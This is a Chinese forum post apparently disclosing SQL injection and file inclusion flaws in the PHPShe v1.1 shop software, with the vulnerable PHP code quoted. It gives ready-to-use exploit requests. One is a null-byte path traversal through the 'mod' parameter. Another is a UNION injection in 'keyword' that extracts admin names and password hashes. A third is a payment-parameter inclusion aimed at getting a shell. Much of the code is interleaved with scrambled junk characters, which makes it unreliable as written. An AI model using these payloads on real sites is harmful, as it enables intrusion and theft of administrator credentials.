phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin · 发表于 2013-4-16 16:45:03

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞

//首页文件
pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php"); //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

" Y/ r4 C" ^( v: z+ r

P& U/ ^4 j& y. Q2 i K2 w4 Q 0×02 搜索注入7 R8 c0 [, u. S
8 A) `4 q& z, F3 n
<code id="code2">

//product.php文件7 Y3 j: ~3 T: I2 h0 e
case 'list':
6 Z, v! q6 i5 A: l/ q0 g) E. L$category_id = intval($id);( c5 h2 K5 a' T/ |0 Q0 W8 J3 N
$info = $db->pe_select('category', array('category_id'=>$category_id));
3 y/ e- q5 T7 Z+ R7 p2 X& e//搜索3 {- ~4 j' B& P. p. \6 A' Q/ q' k
$sqlwhere = " and `product_state` = 1";
% k, `+ o" i* k  T! L8 m# hpe_lead('hook/category.hook.php');
- m, H( z% s' _% U: [" Gif ($category_id) {
- ~' f, T% T  `2 Uwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
( y$ T9 a3 n9 b* Q  m}
) f+ ~5 ~7 g- Q  L$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤; r0 A# {- O7 m2 P; C, d3 s) g
if ($_g_orderby) {3 e0 K9 E- C& \
$orderby = explode('_', $_g_orderby);: l3 [  k3 R; d( |! m
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
, k. ?; q/ j5 h3 D* {+ K! c9 n}
& W1 u# Q" E$ r1 d: A8 o! {else {
) t" U6 k# d5 h( V8 U1 H$ r$sqlwhere .= " order by `product_id` desc";
" g0 l( n/ h7 I- J: q# y/ ?. Y}
: g( d/ k4 ], g; a/ c$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
4 A$ A, v' w8 u) F8 b3 x; H) y//热卖排行
, L' W; f/ n+ f& u$product_hotlist = product_hotlist();1 _& o6 ~3 w, x$ Y0 _: t" b' B" A
//当前路径
7 c' q+ d- T* ]- F$nowpath = category_path($category_id);
' S4 K# W9 h9 ^/ P8 \$seo = pe_seo($info['category_name']);5 N$ |1 _8 {* l! G7 f8 W
include(pe_tpl('product_list.html'));
- ^" w7 U/ ?1 c7 e//跟进selectall函数库7 i, b6 d  \  K' ~( F: T
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())( Z. D7 W/ Q% }4 A; A: i
{9 ?: ~$ S: x- m4 d
//处理条件语句* z- C" o( w0 l: _* E. m0 m9 @
$sqlwhere = $this->_dowhere($where);' z! |. K) ^0 W5 p) P
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
0 P* _: f0 A* z}: c+ m+ d; Q7 k& Z, `2 y
//exp7 D0 L4 i9 K- P
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1+ h4 B/ k3 t6 T# D# x

</code>
" i k2 ^, U; \8 X. X% T* k , \8 h! _; T3 u1 w7 `4 ]
0×03 包含漏洞2+ z* g. p8 J3 _. N

/ f+ r( P) k( @2 x<code id="code3">

//order.php

case 'pay':

- f" X( ^. H' J/ M- n/ \1 N
$order_id = pe_dbhold($_g_id);

0 c1 D2 K) g9 b. T) i1 ]
$cache_payway = cache::get('payway');

5 B9 U- I0 a6 ~- M9 fforeach($cache_payway as $k => $v) {

) d' l' J" v# _% R" b7 u5 a8 d$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

1 Z$ h! z9 {$ P- w
if ($k == 'bank') {

r( _( ]; ]+ i5 E: s* B$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

% S# _( O( t2 K+ k/ R; ^$ \
}

- Q! c `! O7 W! b6 J3 b! J}

) N i" j0 r ^( l$ S1 l
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

0 g0 @$ T1 o- H
!$order['order_id'] && pe_error('订单号错误...');

" ~$ H" `6 j+ `1 N9 \# s% yif (isset($_p_pesubmit)) {

; n7 e+ t$ c, h) Y9 R0 O, j6 U8 a
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

6 ]& g: H* [+ V0 i$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

5 X0 Y, W c; u$ Y1 b
foreach ($info_list as $v) {

/ ?- Q" ]7 Y) X2 {$order['order_name'] .= "{$v['product_name']};"; g: X) w8 ~7 f8 t5 h$ U

A4 B: a8 N# T, |/ R}

; f0 S/ O) h: h: c7 i9 becho '正在为您连接支付网站，请稍后...';

& N3 }" t* t7 Dinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

; a) @( A5 L8 C& v. t& k
}//当一切准备好的时候就可以进行"鸡肋包含了"

3 l6 K8 M r- w& K+ s0 O$ ]else {

& t8 T3 J) H9 D/ p
pe_error('支付错误...');

) z* o) Q- P9 Z6 E: M( `}

: i: K5 R5 J/ k1 e* ]1 o}

6 o7 d2 O3 {% {+ _5 b' x$seo = pe_seo('选择支付方式');

# V% |) z! [. p, ]6 f' qinclude(pe_tpl('order_pay.html'));

, i* C: F% y- C" u9 a; v$ Vbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
! x7 [( n7 }/ Ghttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

		自动登录	找回密码
密码			立即注册

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

浏览过的版块